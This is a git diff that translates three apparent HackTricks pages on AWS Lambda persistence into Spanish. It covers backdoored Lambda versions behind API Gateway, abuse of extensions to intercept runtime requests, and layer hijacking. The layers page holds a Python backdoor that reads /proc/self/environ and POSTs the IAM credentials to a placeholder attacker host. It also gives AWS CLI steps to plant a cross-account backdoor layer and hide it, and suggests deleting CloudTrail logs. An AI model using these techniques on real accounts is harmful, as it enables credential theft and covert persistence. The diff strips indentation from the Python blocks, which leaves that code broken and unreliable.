Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md

@@ -1,68 +1,64 @@
-# AWS - Lambda Persistence
+# AWS - Persistencia de Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## Lambda
 
-For more information check:
+Para más información, consulta:
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### Lambda Layer Persistence
+### Persistencia de Lambda Layer
 
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
 
 {{#ref}}
 aws-lambda-layers-persistence.md
 {{#endref}}
 
-### Lambda Extension Persistence
+### Persistencia de Extensiones de Lambda
 
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
 
 {{#ref}}
 aws-abusing-lambda-extensions.md
 {{#endref}}
 
-### Via resource policies
+### A través de políticas de recursos
 
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actualizar código) a cuentas externas:
 
 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
 
-### Versions, Aliases & Weights
+### Versiones, Alias y Pesos
 
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\
+Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\
+De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
 
 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
 
-### Version Backdoor + API Gateway
+### Backdoor de Versión + API Gateway
 
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
-   1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
-   1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
-   1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. Copia el código original de la Lambda
+2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
+1. Llama al API gateway relacionado con la lambda para ejecutar el código
+3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST.
+1. Esto ocultará el código con backdoor en una versión anterior
+4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con backdoor en este escenario).
+5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`**
+6. Ahora, cuando **llames a la función vía POST, tu Backdoor** será invocado
 
-### Cron/Event actuator
+### Actuador Cron/Event
 
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
+Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
 
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante.
+- Cada vez que se crea un nuevo rol, lambda otorga permisos de asumir rol a usuarios comprometidos.
+- Cada vez que se generan nuevos registros de cloudtrail, elimínalos/modifícalos.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

@@ -1,46 +1,42 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Abusando de las Extensiones de Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Lambda Extensions
+## Extensiones de Lambda
 
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**.
 
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
+- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
 
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
 
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### Extensión Externa para Persistencia, Robo de Solicitudes y Modificación de Solicitudes
 
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
 
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP.
 
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales.
 
 > [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto.
 
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.
 
 <figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
 
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+La herramienta [**lambda-spy**](https://github.com/clearvector/lambda-spy) fue creada para realizar esa **escritura de memoria** y **robar información sensible** de las solicitudes de lambda, otras **solicitudes de extensiones** e incluso **modificarlas**.
 
-## References
+## Referencias
 
 - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
 - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-

src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md

@@ -1,82 +1,75 @@
-# AWS - Lambda Layers Persistence
+# AWS - Persistencia de Capas de Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Lambda Layers
+## Capas de Lambda
 
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración.
 
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
 
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada.
 
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen.
 
-### Python load path
-
-The load path that Python will use in lambda is the following:
+### Ruta de carga de Python
 
+La ruta de carga que Python utilizará en lambda es la siguiente:
 ```
 ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
 ```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+Verifica cómo las **segundas** y **terceras** **posiciones** son ocupadas por directorios donde **lambda layers** descomprimen sus archivos: **`/opt/python/lib/python3.9/site-packages`** y **`/opt/python`**
 
 > [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> Si un atacante logra **backdoor** una **layer** de lambda utilizada o **agregar una** que estará **ejecutando código arbitrario cuando se cargue una biblioteca común**, podrá ejecutar código malicioso con cada invocación de lambda.
 
-Therefore, the requisites are:
+Por lo tanto, los requisitos son:
 
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Verificar bibliotecas** que son **cargadas** por el código de las víctimas
+- Crear una **biblioteca proxy con lambda layers** que **ejecutará código personalizado** y **cargará la biblioteca original**.
 
-### Preloaded libraries
+### Bibliotecas pre-cargadas
 
 > [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> Al abusar de esta técnica encontré una dificultad: Algunas bibliotecas ya están **cargadas** en el tiempo de ejecución de python cuando se ejecuta tu código. Esperaba encontrar cosas como `os` o `sys`, pero **incluso la biblioteca `json` estaba cargada**.\
+> Para abusar de esta técnica de persistencia, el código necesita **cargar una nueva biblioteca que no esté cargada** cuando se ejecuta el código.
 
+Con un código en python como este es posible obtener la **lista de bibliotecas que están pre-cargadas** dentro del tiempo de ejecución de python en lambda:
 ```python
 import sys
 
 def lambda_handler(event, context):
-    return {
-        'statusCode': 200,
-        'body': str(sys.modules.keys())
-    }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
 ```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+Y esta es la **lista** (verifica que bibliotecas como `os` o `json` ya estén allí)
 ```
 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
 ```
+Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defecto**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
 
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### Inyección en la Capa de Lambda
 
-### Lambda Layer Backdooring
+En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**.
 
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
+Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\
+Este archivo debe:
 
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- Ejecutar nuestra carga útil
+- Cargar la biblioteca csv original
 
+Podemos hacer ambas cosas con:
 ```python
 import sys
 from urllib import request
 
 with open("/proc/self/environ", "rb") as file:
-    url= "https://attacker13123344.com/" #Change this to your server
-    req = request.Request(url, data=file.read(), method="POST")
-    response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
 
 # Remove backdoor directory from path to load original library
 del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
 
 sys.modules["csv"] = _csv
 ```
+Luego, crea un zip con este código en la ruta **`python/lib/python3.9/site-packages/__init__.py`** y agrégalo como una capa lambda.
 
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+Puedes encontrar este código en [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
 
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+El payload integrado **enviará las credenciales de IAM a un servidor LA PRIMERA VEZ que se invoque o DESPUÉS de un reinicio del contenedor lambda** (cambio de código o lambda fría), pero **otras técnicas** como las siguientes también podrían integrarse:
 
 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
-### External Layers
+### Capas Externas
 
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+Ten en cuenta que es posible usar **capas lambda de cuentas externas**. Además, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos.\
+También ten en cuenta que el **número máximo de capas que una lambda puede tener es 5**.
 
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
-  - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
-  - The victim **won't see external layers** used with **`aws lambda list-layers`**
+Por lo tanto, para mejorar la versatilidad de esta técnica, un atacante podría:
 
+- Inyectar un backdoor en una capa existente del usuario (nada es externo)
+- **Crear** una **capa** en **su cuenta**, dar acceso a la **cuenta de la víctima** para usar la capa, **configurar** la **capa** en la Lambda de la víctima y **eliminar el permiso**.
+- La **Lambda** aún podrá **usar la capa** y la **víctima no** tendrá ninguna forma fácil de **descargar el código de las capas** (aparte de obtener un rev shell dentro de la lambda)
+- La víctima **no verá capas externas** utilizadas con **`aws lambda list-layers`**
 ```bash
 # Upload backdoor layer
 aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 # Remove permissions
 aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
 ```
-
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-